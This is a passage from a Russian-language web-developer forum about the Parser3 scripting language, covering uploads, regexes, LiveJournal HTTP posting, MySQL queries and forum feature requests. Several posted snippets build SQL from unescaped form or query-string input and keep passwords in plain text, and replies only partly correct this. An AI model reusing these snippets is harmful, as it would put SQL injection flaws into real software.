ps: Сорри, если это уже было на форуме, просто сейчас уже поздно и админу хочется спать.. =)"
"19916","примерно так:\
[code]\
<form method=post enctype=multipart/form-data>\
<input type=file name=file>\
<input type=submit>\
</form>\
^if(def $form:file){\
^form:file.save[binary;куда]\
}\
[/code]"
"19918","Парсер вызывает скрипт, результат выполнения которого обрабатывается оператором ^process. Вот и всё. ;-)"
"19919","XML не \"круче\" HTML просто это нечто совершенно другое. Если коротко, - XML это универсальный, переносимый формат для хранения информации. HTML это просто язык разметки для отображения этой самой информации в браузере.\
\
Хотя изначальная HTML идея была похожа на ту что сейчас имеет XML, но потом это дело загубили введением оформительских, но не структурных тегов, да и конечное количество допустимых тегов, плохо подходит для этой задачи.\
\
Вообщем у каждого языка свои цели и задачи и сравнивать их бессмысленно, по моему.\
\
А что касаемо XHTML - это просто более строгая версия HTML и ничего более. Хочется же всё таки приучить народ к дисциплине, ввести единый стандарт, при этом сильно упростив всем жизнь, но это пока утопия."
"19921","Набираю в строке поиска слово оптимизация, через 2 секунды мне плюётся список в котором я выбираю пост товарища egr:\
\
http://www.parser.ru/forum/?id=6490\
\
Элементарно Ватсон. А флейму то скоко :)"
"19923","для первого варианта надо так\
[code]\
$str[^str.match[<script>(.+?)</script>][g]{$match.1}]\
[/code]\
\
Остальные лениво проверять"
"19924","то идея такая. Когда на сайте появляется новый материалл, автоматом в livejournal  посылаетя например тема, анонс и ссылка."
"19925","Было у меня такое...\
Советовали:\
1. Проверить в каком режиме я заливаю Парсер на сайт(нужно бинари)\
2. Написать самому(без копи/пэйст) .хтакцесс\
3. Проверить пути в конфигах(все пути во всех конфигах)\
4. Сплясать с бубном вокруг компа или сделать вуду-куклу сервака на который ставишь :)"
"19926","$response:download[^file::load[binary;your_file.doc]]"
"19928","как поределить какую версию(с safe mode или без) парсера надо поставить?"
"19929","В принципе вам egr уже всё сказал, я лишь добавлю или скорее просто повторюсь :-), что XML это универсальный, переносимый на всех платформах контейнер для информации, который понимают все браузеры и у которого гораздо больше преимуществ нежели у HTML, а HTML можно легко перевести в XML соблюдая несколько простых правил, одно из которых писать кавычки в атрибутах тэгов.\
\
Как перевести HTML в XML и зачем это делать, какие от этого преимущества хорошо написано в книге \"Веб-Дизайн\" Дмитрия Кирсанова. А где можно взять информацию я уже писал\
\
см. ссылку\
http://www.parser.ru/forum/?id=19898\
\
P.S. конечно если вы делаете сайт для интернета то всё вышесказанное справедливо, так как у пользователей разные браузеры и платформы, но если вы делаете страничку для себя, то есть для использования только на своём компьютере, то мне кажется можете и не писать кавычек, а писать так как вам удобно."
"19930","у хостера, под каким юзером запускаются  скрипты.\
Если под Вами - можно с ограничением\
Если под каким-нить ноубади - без."
"19932","А как тогда понять это?:\
[quote]\
Вообще эта примочка специально сделана для оптимизации выходящего кода, если надо от неё избавиться, есть исходные коды.\
[/quote]\
Я и хотел сказать, что для этого не надо лезть в исходники парсера, савсэм. Или вы имели ввиду другие исходные коды?"
"19933","Есть у LJ interface/flat:\
1. Введение: http://www.livejournal.com/developer/protocol.bml\
2. Описание протокола: http://www.livejournal.com/doc/server/ljp.csp.flat.protocol.html\
\
Ну и http://www.parser.ru/forum/?id=19806 - описание POST на парсере.\
\
В общем, все просто."
"19934","Я почему-то решил, что Parser избавляется от лишних символов в процессе компилирования (почему я был в этом уверен, сейчас сам не понимаю), а оно оказалось не так."
"19935","этоу кого же такие конструкции в коде есть?"
"19937","про <script></script> это я сболтнул лишнего"
"19939","[code]system \"parser.cgi script.html\";[/code]\
См. также http://www.parser.ru/docs/lang/parserscript.htm"
"19941","Вот за первые 2 ссылки - спасибо). Что-то я и не подумал поискать(.\
\
3ю знаю, т.к. ею пытался сразу все сделать, но видимо недостаток 1 и 2й ссылки - ни к чему не привели.\
\
Поэтому, с помощью 3й ссылки, как уже ранее говорил, я передал пхп_шному скипту данные и т.д..\
\
Спасибо, буду делать. Как только будут результаты, вывешу пример, может кому-нибудь пригодится."
"19942","Может покажеться глупо но,\
не могу понять в чём дело\
пытаюсь сравнить поля из БД \
вот код подскажите в чём засада........\
<form method=\"POST\"> \
<p> Имя: <input name=\"name\"> </p> Пороль: <input name=\"pass\">\
</p> <p> <input type=\"submit\" value=\"Войти\" name=\"posted\">&nbsp;&nbsp;&nbsp; </p> </form>\
\
\
\
^if (def form:name && def form:pass)\
{^connect[connection_string]{\
\
$read[ ^void::sql{select \
name,pass\
from book\
where 1  }]{\
##проверка на совместимость\
^if($read.name ==  form.name){</br>хорошо}\
{</br>плохо}\
}\
{плохо}\
\
________________\
Заранее благодарен"
"19943","вариант без ? это жадный вариант, и при наличии, нескольких <script> ...</script> в совпадение попадет </script> ... <script> чего не требуется согласно условию задачи."
"19944","Там и сравним ;-)"
"19945","[code]\
<form method=\"POST\" [color=\"red\"]action=\"ваша страница\"[/color] > \
\
<p> Имя: <input [color=\"red\"]type=\"text\"[/color] name=\"name\"> </p>[color=\"red\"]Пароль[/color]  Пороль: <input [color=\"red\"]type=\"text\"[/color]  name=\"pass\">\
</p> <p> <input type=\"submit\" value=\"Войти\" name=\"posted\">&nbsp;&nbsp;&nbsp; </p> </form>\
\
\
\
^if (def [color=\"red\"]$[/color]form:name && def [color=\"red\"]$[/color]form:pass){\
^connect[[color=\"red\"]$[/color]connection_string]{\
\
$read[ [color=\"red\"]тут никакой не void[/color] ^table::sql{select \
name,pass\
from book\
where 1 \
[color=\"red\"]что 1 ? зовут Вас так? where поле ='$form:value'[/color] \
\
}]{\
##проверка на совместимость\
^if($read.name [color=\"red\"]eq[/color] [color=\"red\"]$[/color]form[color=\"red\"]:[/color]name){</br>хорошо\
}{\
</br>плохо}\
}\
[color=\"red\"]это зачем?[/color]\
{плохо}\
[color=\"red\"]}[/color]\
\
[color=\"red\"]Полный бред. Перечитайте доку 5 раз и сделайте все упражнения. [/color] \
\
[/code]"
"19946","А если я поставлю скрипт без ограничений, а он запускается под тем же пользователем, он работать все равно будет?\
\
а наоборот нет..."
"19947","Начнем с первого правила\
[code]$str[^str.match[<script>(.+)</script>][g]{$match.1}][/code]\
Его можно записать кучей способов и приведенным выше тоже, а\
можно еще несколько упростить вариант (или усложнить, кому как)\
[code]$str[^str.match[<(script>)(.+?)</\\1][g]{$match.2}][/code]\
можно еще вместо .+? использовать \\w+? если уверены что содержимое будет текст.\
\
Второе правило\
[code]$str[^str.match[([a-z-]+)'([a-z]{1,2} )][gi]{$match.1 }][/code]\
Конструкцию [a-z-]+ можно смело заменить на \\w+, а [a-z]{1,2} на \\w{1,2} тогда отпадет необходимость в параметре поиска i\
И еще, чтобы не проверять пробел после [a-z]{1,2} можно поставить границу слова - \\b. Потому как после этого слова может быть и пробел и точка и запятая и т.д. В итоге имеем:\
[code]$str[^str.match[(\\w+)'(\\w{1,2}\\b)][g]{$match.1}][/code]\
Под финал, не очень понятно что хотелось получить в итоге, потому как данное правило на слово don't вернет don."
"19948","Я только что такое сделал\
\
\
0. Проверяем на сушествование $form:name и $form:pass\
1. Наверно лучше проверять пользователя в sql запросе\
[code]\
^int:sql{select user_id\
from book\
WHERE login=$form:name AND password=$form:pass}\
[/code]\
В результате этого запроса мы получим id пользователя или имя пользователя на ваше усмотрение\
2. Проверяем что дала на БД если дала всё ОК если недала такое тоже бывает ;)\
3. Незабывайте что обращение к пою формы идёт через $ ($form:name а не form:name)"
"19949","[quot]\
$str[^str.match[<(script>)(.+?)</\\1][g]{$match.2}]\
[/quot]\
\
выражение совершенно неюзабельно (как и оригинальное).\
\
я всегда пишу <script[b] language=\"javascript\"[/b]>...</script>, а многие еще пишут так: <script[b] language=\"JavaScript\"[/b]>...</script> и что?\
\
к тому-же следует перечитать условие задачиб и тогда наверное все-таки код будет таким:\
[code]\
$str[^str.match[<(script)[^^>]*>(.+?)</\\1>][gi]{}]\
[/code]\
\
- ключ i нужен чтобы отлавнивать большие и маленькие буквы\
- первые скобки с запоминанием нужны, т.к. я не люблю писАть 2 раза одно и то-же слово\
- (.+?) и только так. никаких \\w, т.к. \\w == [a-zA-Z0-9_] в теле script вот сто пудов встречаются переводы строк и пробелы.\
- по условию надо найти <script..</script> и выкинуть его...\
\
про второе выражение:\
[quot][a-z-]+ можно смело заменить на \\w+[/quot]\
нельзя. \\w == [a-zA-Z0-9_] (+ русские буквы в нашем случае), соответственно замена невозможна по условиям задачи.\
\
P.S. читать условия задач - полезно ;)"
"19950","1. если достаете значение таким образом, то надо поставить $.default{0} иначе в случае, когда ни одной записи не найдено отгребете ошибку\
2. полезно таки задать $.limit(1)... на всякий пожарный...\
3. иногда полезно доставать не user_id, а COUNT(*), тогда точно не нужен $.limit и $.default, т.к. запрос [b]всегда вернет одно число[/b]\
4. запросы все-таки рекомендуется писать правильно:\
[code]WHERE login = '$form:name' AND password = '$form:pass'[/code], т.к. тут мы имеем дело со строками...\
5. хранить так пароль не есть хорошо. или password = PASSWORD('$form:pass') и соответственно в БД хранить его зашифрованное значение или... иначе, но хранить все равно зашифрованое значение :) (приведенные пример с PASSWORD [url=\"http://www.mysql.com/doc/ru/Miscellaneous_functions.html\"]не рекомендуется[/url] создателями MySQL, они рекомендуют использовать иные функции шифрования, которые есть у них-же: MD5() и SHA1(), однако многие склоняются к мысли, что шифровать стОит средствами парсера, чтобы не быть завязаным на функциях, предоставляемых SQL сервером, и чтобы парсерный код был более переносимым)."
"19951","в windows-1251.cfg (да и во всех остальных) есть спец.метка - word - так вот \\w это все символы, у которых стоит отличное от пустой строки значение в этой колонке. у русских - стоит.\
\
$a[мама myla раmu]\
^a.match[\\w][g]{z}\
дает\
zzzz zzzz zzzz"
"19953","Подскажите возможно ли такое и как это написать. Заранее благодарен."
"19954","если ты парсером достанешь данные из sql таблицы, и выведешь их в виде html-table, то эту таблицу прекрасно скушает excel.\
\
если ты у документа, делающего это пропишешь:\
[code]\
$response:content-type[\
	$.value[application/vnd.ms-excel]\
	$.charset[$response:charset]\
]\
[/code]\
\
, то при его открытии IE сам предложит тебе выбор, открыть его с помощью excel или сохранить на диск.\
\
чтобы было все совсем пучком, можно прописать необходимые схемы у выдаваемого html, что-то вроде этого:\
[code]\
<html xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:x=\"urn:schemas-microsoft-com:office:excel\" xmlns=\"http://www.w3.org/TR/REC-html40\">\
<head>\
	<meta http-equiv=\"content-type\" content=\"text/html^; charset=windows-1251\" />\
	<meta name=\"ProgId\" content=\"Excel.Sheet\">\
</head>\
...\
<body>\
<!-- тут твоя таблица с данными, которую ты хочешь чтобы скушел excel -->\
</body>\
</html>\
[/code]"
"19955","Что имею:\
[code]\
$POSTbody[mode=postevent&webversion=full&user=fedich&password=test&security=private&year=2003&mon=08&day=22&hour=14d&min=00&ver=0&subject=aaa&prop_opt_nocomments=0&event=bbb]\
\
$f[^file::load[binary;http://www.livejournal.com][\
$.method[POST]\
$.headers[\
$.Host[http://www.livejournal.com]\
$.Content-type[application/x-www-form-urlencoded]\
$.Content-length[^POSTbody.length[]\
\
$POSTbody]\
]]\
]\
$f.status #выдает 200, правильно ли это вообще?\
[/code]\
\
В LJ есть вот это:\
\
[code]\
POST /interface/flat HTTP/1.0\
Host: www.livejournal.com\
Content-type: application/x-www-form-urlencoded\
Content-length: 34\
[/code]\
\
Но как \"/interface/flat HTTP/1.0\" Засунуть то, убей не получается. http://www.w3.org/Protocols/rfc2616/rfc2616.html читаю.\
\
Вообщем все идет без ошибок и тишина. Что не так то???"
"19958","Правда так? Или просто русские еще не пишут нормально об интернет технологиях?\
\
ЗЫ: Никаких претензий :-)"
"19961","судя по хедеру, возможно вы просто сабмитите данные на неправильный адрес.\
\
Попробуйте так:\
[code][^file::load[binary;http://www.livejournal.com/interface/flat[/code]"
"19963","Я так понимаю, что строка\
[b]/interface/flat[/b] HTTP/1.0 важна.\
но $.method[POST /interface/flat HTTP/1.0] Выдает ошибку.\
\
Зараза))). Что-то не учтено..."
"19964","[code]\
$POSTbody[mode=login&user=tomash&password=pass]\
$f[^file::load[binary;http://66.150.15.150/interface/flat][\
$.method[POST]\
$.timeout(60)\
$.headers[\
$.Content-type[application/x-www-form-urlencoded]\
$.Content-length[^POSTbody.length[]\
\
$POSTbody]\
]\
]] \
^taint[as-is][$f.text]\
[/code]\
отдает\
[code]\
access_1\
advertka\
.. skipped ...\
access_9\
ru_webdev\
access_count\
11\
fastserver\
1\
frgrp_1_name\
All\
frgrp_1_sortorder\
5\
... skipped ...\
frgrp_maxnum\
5\
name\
Luzhnikovskiy\
success\
OK\
[/code]"
"19968","только не зря придумали с ограничениями - безопасность..."
"19969","rtfm? угу, а чеж делать то, остается так только вникать)\
\
Заработало, да и еще нашел ошибку сразу(\
\
Теперь буду делать utf и т.д... Главное процесс сдвинулся с мертвой точки)"
"19970","примеры использования не раз обсуждались в форуме."
"19971","http://www.livejournal.com/users/nl/164647.html :)"
"19972","Все большее присутствие в обсуждениях подвело меня к мысли о том, почему же нет такой фичи в форуме. Хотелось бы иметь возможность отображения на отдельной странице тех тредов форума, в которых участвую я сам."
"19973","Например, в этом форуме, на каждое сообщение этого треда стоило бы установить дату помещения/изменения последнего сообщения в этом треде. Но это не сделано, дабы оградить пользователей от злоупотребления кэширования браузером. ;-)"
"19974","ежели желаете - сделаю, делов-то на 3 минуты..."
"19975","http://www.parser.ru/forum/?terms=&search_in_message=1&author=dRmx&doSearch=%CD%E0%E9%F2%E8"
"19976","И еще бы неплохо сделать типа незнаю чего, но чтобы показывало \"Вам ответили там-то, тот-то, дата\". Например на том месте, где сейчас Последние сообщения. Для меня это бы играло более важную роль, чем эти Последние сообщения. Все равно их редко открываю, только в том случае, если в заголовке написано то, о чем хочеться прочитать."
"19978","Так не очень удобно (для меня)."
"19979","...я не очень понимаю, в чем кайф подобных результатов поиска кроме созерцания того, каков общий объем флейма, в котором XYZ принял участие.\
\
если будут объяснения зачем это нужно и подобные пожелания других участников форума - приделаю. а так, считаю что это лишнее.\
\
по поводу \"Вам ответили там-то, то-то, дата\" - я не очень понял.\
правильно-ли я понял, что это означает, чтобы там показывалось дерево из 2 уровней: первый уровень - сообщения автора, второй уровень - ответы на них? если да, то сожалею, т.к. в 30% экрана впихнуть дерево (даже неглубокое, учитывая тот факт, что некоторые пишут сообщения целиком в тайтле) сложно. \
\
это можно реализовать как отдельный вариант поиска сообщений (например добавить галочку после \"Фильтровать по автору\" - \"Показать ответы\"). однако я тоже не знаю, насколько это нужно народу (лично мне не нужно совершенно).\
\
я вообще не использую как таковой поиск по автору. это поле я использую для того, чтобы сузить результаты поиска, когда их очень много, и обычно это сужение результатов в первую очередь направлено на поиск ответов ПАФ-а на какую-либо тему ;)"
"19980","НЕ, не про результаты поиска. А отдельную страницу с тредами, где я принимаю участие (если я начал тему, или даже не я, а просто написал ответ хоть раз и т.д.). Чтобы было легче отслеживать за продолжениями обсуждаемых тем, т.е. ответами других юзеров. Иногда, когда тема еще не закончена она уже находиться в 40 порядке, начиная с последней добавленной. Отыскивать ее, чтобы продолжить дискуссию можно конечно, но... По виду все должно выглядеть так же, как и форум обычный. А на главной странице форума поместить линк \"Мои темы\". А про \"Вам ответили там-то, тот-то, дата\" не нужно, если сделать \"Мои темы\". И оставить все как есть."
"19981","А нельзя ли прикрутить image Magik напрямую к Парсеру ?\
Перл, конечно же, крут, но просто парсером была бы песТня.\
Я бы и сам это сделал, но С не мой язык. пробовал разбираться - долго мне еще до таких вот высот."
"19982","зачем прикручивать прямо к парсеру?\
\
нельзя положить рядом command line утилиты соотв. конверторов и вызывать их при необходимости?\
\
P.S. хотя если бы это было прямо в парсере, хуже от этого не было бы наверное ;)"
"19983","идеологически это все равно поиск :)\
из всех сообщений, которые хранятся в базе форума надо как-то достать и показать сообщения по определенным критериям.\
\
подумаю. может и сделаю такую ссылку."
"19984","[code]\
хотя если бы это было прямо в парсере, хуже от этого не было бы наверное [/code]\
Только я как спросил про это, так все на меня как зафукали..."
"19985","хорошо бы!!!"
"19986","Парсер бы превратился в PHP со всей его непереносимостью и обязательной необходимостью сборки на месте. Или предлагается собирать его статически и получать parser3.cgi размеров в мегабайт 5-7?"
"19987","У нас все равно через руки дизигнера проходит(закрытые у нас галереи) - что-то убрать, что-то \"подкрасить\".\
В результате или Adobe ImageReady или пакетная обработка в XnView.\
Но вставлять Magic в PARSER - не самая лучшая идея."
"19988","Есть прайсы, к ним цепляются планы квартир, фишка - в одном доме может быть [b]несколько[/b] n-комнатных квартир.\
Что писать в имя файла чтобы на экране был именно нужный?\
время? если id квартиры, то как правильней - last_insert_id()+1?"
"19989","Как библиотеки поддержки XML. Хочешь - ставь, не хочешь - не ставь.\
А Adobe ImageReady не задымиться вместе с руками от обработки 5000 фотографий, качество которых на высоте и менять, кроме размера, ничего не надо."
"19990","вам путь в SSI - ничего собирать не надо(кроме апача, но он,как правило, уже собраный), все классно и места занимает мало."
"19991","Зачем  last_insert_id()+1, когда  last_insert_id() вполне удовлетворит. И у каждой квартиры будет свой уникальный айди"
"19992","если мы используем last_insert_id() значит:\
1) остальные данные уже в базе\
2) нам надо выбрать эту квартиру и добавить к ней план\
результат: 3 запроса к базе\
а я хочу уложится в один:\
upload файла с картинкой\
запись инфы + имени файла в базу.\
но проблема в том, что в одном доме может быть, к примеру, 3 пятикомнатных квартиры, и какие-то планировки из этих могут быть и в других домах, но я не знаю какие и в каких домах.\
пришли к выводу, что проще каждый раз цеплять к каждой квартире ее планировку, тем более это будет раз в полгода.\
но как ср-ми PARSER+MySQL обеспечить уникальность имени файла?"
"19993","А last_insert_id()+1 должно обеспечить мне id следующей записи, которую я только собираюсь сделать."
"19996","...взамен понятности структуры БД.\
в данном случае логика может быть следующей:\
1. загружаешь данные формы\
2. добавляешь запись в БД [один INSERT или UPDATE при изменении]\
3. достаешь last_insert_id только что добавленой записи (или id редактируемой) [второй запрос]\
4. сохраняешь картинку с именем, в которое входит эта last_insert_id (или id при апдейте) [третий запрос]\
5. если хочешь хранить имя этой картинки в БД - делаешь еще UPDATE (например, чтобы не париться потом с тем, что одна картинка gif, а другая - png) [четвертый запрос]\
\
все будет понятно и логично.\
не забывайте, что для web-а эта задача очень редкая (добавлять/апдейтить/загружать/ будут на два порядка реже, чем смотреть) и это количество запросов окупится понятностью структуры.\
\
да, вот еще что... не в количестве запросов беды... беды в их качестве. когда можно то-же самое сделать меньшим количеством запросов - хорошо, но когда это делается меньшим количеством запросов, которые выполняются из-за своей сложности дольше в 2 раза даже после их оптимизации и прикручивания индексов - это ужасно."
"19997","Кто-то захочет сокеты - будет 8 версий.\
Кто-то захочет работу с Flash, как в PHP - будет 16 версий.\
Дальше продолжать?"
"19998","или все же last_insert_id() это айди того, что вставляется в ЭТОЙ сессии, т.ч. не вижу почему бы это не сделать 1 запросом"
"19999","Есть основной Парсер,\"ядро\", а подключить к нему хоть вентилятор можно. И не версий, а модулей."
"20000","В Parser, AFAIK, на сегодня нет механизма типа apxs, например, (впрочем, CVS HEAD я не смотрел), соответственно такое \"подключение\" - это сложности для администратора хостинга (если он вообще будет этим заниматься), либо придётся собирать и выкладывать не 2 binaries, а 32, что нехорошо. Намного проще написать Perl-скрипт для работы с ImageMagick."
"20001","[quote]я всегда пишу <script [b]language=\"javascript\"[/b]>...</script>, а многие еще пишут так: <script [b]language=\"JavaScript\"[/b]>...</script> и что?[/quote]\
Deprecated ;)\
http://www.w3.org/TR/html401/interact/scripts.html#h-18.2.1"
"20002","Но все же хотелось бы....."
"20004","цитируя себя же:\
\"... или пакетная обработка XnView\" благо выхоной формат, разрешение и размеры настраиваются на раз.\
а около 4,5 тысяч уже было и жив как видишь. =)\
но это уже перешло в оффтоп, так что я больше в этом треде не участвую."
"20005","Таблица имеет размер примерно 13000 записей.\
В связи с этим крайне медленно работает.\
При чем затруднителен даже простой расчет колва записей.\
Для того чтобы снять нагрузку с sql я сделал расчет средствами паресера.\
$m_stat[^table::sql{select date,make from market}]\
^m_stat.count[]\
но скорость работы базы от этого не увеличилась.\
Что делать, как увеличить скорость, подскажите."
"20006","Скорее всего не определены совсем или не правильно определены индексы. \
\
Материал для самостоятельного изучения: http://www.mysql.com/doc/ru/Optimising_Database_Structure.html"
"20007","пдскажите пожалуйста, как сделать хэш - можно задать общее направление\
\
в базе есть таблица фамилий: Андреев, Анисимов, Боликов, Голиков, Галимов, Jonson, Anderson и т.д\
нужно сделать хэш, где ключами будут буквы А, Б, В и т.д. и таблицами будут списки фамилий на эти буквы. А если фамилия на английском - то отправлять её в таблицу с ключём eng"
"20008","SQL-запрос:\
[code]SELECT LEFT(lastname, 1) AS key, lastname, ORD(LEFT(lastname, 1) AS eng FROM table[/code]\
\
Правда, получится не хэш, а одна общая таблица, но отдельные можно будет вытащить методом select.\
\
Если параметр eng < 128, значит фамилия английская."
"20009","Кто нибудь ставил парсер на powweb.com? Нужно ли просить чего-нибудь у тамошних админов?\
Спасибо"
"20010","... поможет существенно снизить трафик и повысить скорость работы форума. После реализации, следует добавить опцию в Настройки пользователя об отключении данной функции, чтобы никто не остался в обиде. ;-)"
"20011","Т.е. тоже бы неплохо установить дату помещения/изменения последней новости..."
"20012","Может подскажите, как сделать следующее:\
\"Настройте вашу почтовую систему таким образом...\", а? \
Как по приходе почты запускать парсера и анализировать им письмо?\
Хостинг на hosthost.biz, там cpanel есть."
"20013","PARSER 3.0005\
есть [b]пустая[/b] таблица(в Мускуле) faq - id(int,6, index, auto_incriment, primary, not null); quest(text, not null); answer(text, not null)\
\
делаю запрос:\
[code]\
$faq[^db_link{select id, quest, answer from faq order by id}]\
^if([b]def[/b] $faq){\
faq заполнен\
}{\
faq is empty!\
}\
[/code]\
в результате на экране:\
если в проверке стоит DEF выдает faq заполнен.\
как только оставляю [code]^if($faq){...[/code] лается:\
[quote]\
invalid number (double)\
select id, quest, answer from faq order by id\
exception.type=number.format\
[/quote]\
где грабли?"
"20015","[code]$faq[^db_link{select id, quest, answer from faq order by id}]\
^if(def $faq){\
faq заполнен, ID - $faq.id\
}{\
faq is empty!\
}[/code]\
\
Кстати, исходники ^db_link - в студию."
"20016","[quote]\
(junction) has no elements\
\
exception.type=parser.runtime\
[/quote]\
странно, если таблица вообще пуста фигли он вообще что-то находит?"
"20017","вот чем вычилось\
[code]\
[b]^dblink{$faq_out[^table::sql{[/b]select id, quest, answer from faq}]}\
[/code]\
совсем уже туплю!!!!\
надо отдохнуть."
"20018","Бывает люди пишут что-то дельное и нужное, хочется сохранить это, потому, что потом часто ищу по форуму это дельное и нужное :-).\
\
Так вот мое предложение, можно ли сделать для зарегестрированных пользователей страницу закладок, чтоб можно было добавлять и просматривать страницы.\
\
Заранее благодарю"
"20019","Да, действительно, было бы неплохо сделать страницу с трэдами где принимает участие зарегестрированный пользователь. Было бы удобно.\
\
А вот насчёт \"вам ответили\" не знаю, пока-что пользоваться электронной почтой нормально."
"20020","Тебе сервак не жаль?\
А при существующей системе у меня нормально теже закладки живут в моем бровзере."
"20021","Нужна то только одна таблица с двумя числовыми столбцами, идентификаторы пользователей и сообщений."
"20024",">А вот насчёт \"вам ответили\" не знаю, пока-что пользоваться электронной почтой нормально.\
\
Нормально, если сделать треды."
"20025","Вы знаете, я редко смотрю письма \"вам ответили...\", чаще всего я просто захожу на сайт и смотрю трэды."
"20026","Неужели никому не хотелось сохранить себе какое-нибудь хорошее, содержательное сообщение.\
Я думаю это была-бы очень полезная вещь.\
\
А насчет ресурсов сервера, то Roman Grudzinski здесь прав.\
Ну а если уж очень жаль ресурсов или есть какие-то ограничения по их использованию, то можно добавить функцию удаления закладок через n дней, правда, возможно, это не самый лучший выход."
"20027","Я это как раз здесь взял:\
[code]\
@dblink[code]\
^connect[$connect_string]{$code}\
\
@auto[] \
$connect_string[mysql://user_name:user_pass@server/base_name]\
[/code]"
"20028","Надо так:\
[code]\
@main[]\
$faq[^db_link{select id, quest, answer from faq order by id}]\
\
@dblink[code]\
^connect[$connect_string]{\
$result[^table::sql{$code}]\
}\
[/code]"
"20030","Я настроил почтовую систему таким образом, чтобы при приходе сообщения на определенный адрес, запускается некоторый скрипт на Parser, задав в командной строке интерпретатора ключ -m.\
\
Посылаю на этот адрес письмо > получаю такой ответ\
\
The original message was received at Sun, 24 Aug 2003 16:15:59 GMT\
from bingo.yandex.ru [213.180.193.92]\
\
   ----- The following addresses had permanent fatal errors -----\
\"| /usr/local/parser3.cgi -m mail.parser\"\
    (reason: 22)\
    (expanded from: <my@domain.org>)\
\
   ----- Transcript of session follows -----\
/usr/local/parser3.cgi: invalid option 'm'\
Parser/3.1.0 Copyright(c) 2001-2003 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: /usr/local/parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
554 5.3.0 unknown mailer error 22\
--------------------------------------------------------------\
\
Я так понимаю p3 не хочет таки скрипт парсить из командной строки.\
Может его нужно из исходников собрать?"
"20031","Я вообще не читаю ответы письмами..."
"20032","У кого-нить работает Parser3.1 в XP?"
"20034","а в чём проблема?"
"20035","Чтобы ничего не пропустить. К тому же, иногда приходиться несколько раз читать ответы. Я ответы складываю в отдельную папку почтовой проги. Еще плюс - читать можно в автономке. (У меня модем и почасовая оплата инета.) Вдруг пригодятся? Галочки, в общем рулят..."
"20037","[code]\
@dblink[query][query_type]\
$query_type[^query.match[^^(\\w+) .*^$][]{$match.1}]\
^connect[$connect_string]{\
^switch[^query_type.upper[]]{\
^case[SELECT]{$result[^table::sql{$query}]}\
^case[DEFAULT]{\
^void:sql{$query}\
$result[]\
}\
}\
}\
[/code]"
"20038","Считаю что нет смысла прикручивать ImageMagick, или любую другую библиотеку обработки графики к парсеру по двум причинам:\
1) Parser - язык скриптования, а не язык обработки графики.\
Если есть необходимость обрабатывать серверно большой объем фотографий, напишите скрипт для Gimp - он вам все что надо сделает, и к тому же он есть практически на любой линуксовой машине. Если вам достаточно уменьшить картинку (поправить уровни, сделать размытие, наложить шум), то вполне подойдет ImageMagick. Детальный [url=\"http://www.parser.ru/examples/imagemagic/\"]пример[/url] работы с графикой я уже написал.\
2) Как правило, попытки слепить все в одну кучу приводят к снижению работоспособности программы, увеличению количества ошибок, увеличению ее объема и т.д.\
\
На последок, подумайте о целесообразности этого дополнения. Насколько часто вы пользуетесь объектами класса Image чтобы добавлять к Parser такого монстра как ImageMagick? \
\
Уверяю вас что ваши потребности в конечном итоге приведут вас к разовому использованию. Поверьте мне, я работаю дизайнером и обработка изображений основа моей работы, но даже я пользую серверную обработку очень редко.\
\
P.S. Хотите более детально обсудить эту тему или спросить совета в написании специфических скриптов для обработки графики, пишите почтой."
"20039","Хочется помучить разработанный сайт на стрессоустойчивость специальной софтиной, которая бы имитировала разное количество запросов в секунду к серверу и генерировала бы некий набор разумных отчётов. У кого-нибудь есть кандидатуры?"
"20040","http://www.paessler.com/webstress/guidedtour\
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/intranet/downloads/webstres.asp"
"20041","Такой запрос наверняка \"подвесит\" базу.\
А вот select count(*) from market отдаст ответ моментально, ибо _ничего_ высчитывать не будет - число строк в таблице прописано отдельно в этой самой таблице. Да и потом отдать 4 байта (размер int, за вычетом накладных расходов) всегда легче, чем 13000 * (размер date + размер make) байт.\
Так что, в данном случае это не облегчение, а даже совсем наоборот."
"20042","-f config_file  Use this config file (/path/to/auto.p)       \
 -h              Display usage information (this message)"
"20043","есть поле для адреса.\
но теперь требуют сортировку по алфавиту.\
мне лень писать матч выдергивающий название улицы.\
подумал а может на этапе ввода инфы сделать раздельные поля в таблице:\
ул./пр./пер.\
название_улицы\
номер дома\
и при селекте сказать базе - сортируй по названию."
"20044","[code]\
$aa[$request:query]\
\
^connect[$connect_string]{\
 ^void:sql{DELETE FROM 'main' WHERE 'id' = '$aa' LIMIT 1}\
}\
[/code]\
\
почему не воркает говорит что ошибка в синтаксисе, помогите плииз."
"20045","Или DELETE FROM main WHERE id = ^aa.int(0), если id - число."
"20046","$aa[$request:query]\
\
^connect[$connect_string]{\
 ^void:sql{DELETE FROM main WHERE id = '$aa'}\
}\
\
---\
\
т.е. как минимум без \"LIMIT 1\" (rtfm)\
\
Что касается механизма в челом, то, наверное, не нужно писать \"WHERE id = '$request:query\" as-is -- это не безопасно.\
\
удачи"
"20047","может быть проще вводить адреса в виде:\
\
Измайловская ул. 24\
Пушкина проезд 15 корп 2\
\
и т.д."
"20048","ИМХО, надо так:\
[code]\
^void[b]::[/b]sql{delete from main where id='$aa'}[b][$.limit(1)][/b]\
[/code]"
"20051","Я так и не понял, как класс соеденить с БД. Много что перепробовал, но злостный браузер пишет outside of 'connect' operator.\
\
В доке приведен пример, что в корневой auto.p надо вставить:\
[code]\
@dbconnect[code] \
^connect[$connect_string]{$code} \
[/code] \
\
А в сам класс что-то типа этого:\
[code]\
@load[] \
^MAIN:dbconnect{...} \
[/code]\
\
Что делать?"
"20052","this application has failed to start because gc.dll was not found.\
Re-installing the application may fix this problem.\
\
XP pro eng...\
Может пришлет кто? :)"
"20054","чтобы можно было посмотреть только дату создания документа, а не грузить весь документ целиком?"
"20057","У тебя наверно старый архив, по-моему, этот файл уже в основном архиве. Если нет, скачай библиотеки для XML, там есть этот файл."
"20059","Спапибо, но лень - это кошмар =)\
пока ждал ответа, спросил у нашего нач. отдела по программированию:\
сделать справочник(еще одну таблицу) и выбирать оттуда улицы, записывая в основную только street_list.id вместо адреса, при выводе обратный финт."
"20060","к этому можно будет прикрутить и систему рейтинга тредов, кто-то вроде просил ранее...\
\
Чем больше пользователей добавило тред в свои закладки, тем выше его рейтинг (и полезнее информация, соответственно)."
"20063","есть ссылка:\
[code]\
<a href=\"del.html?id=$faq.id\">DELETE</a>\
[/code]\
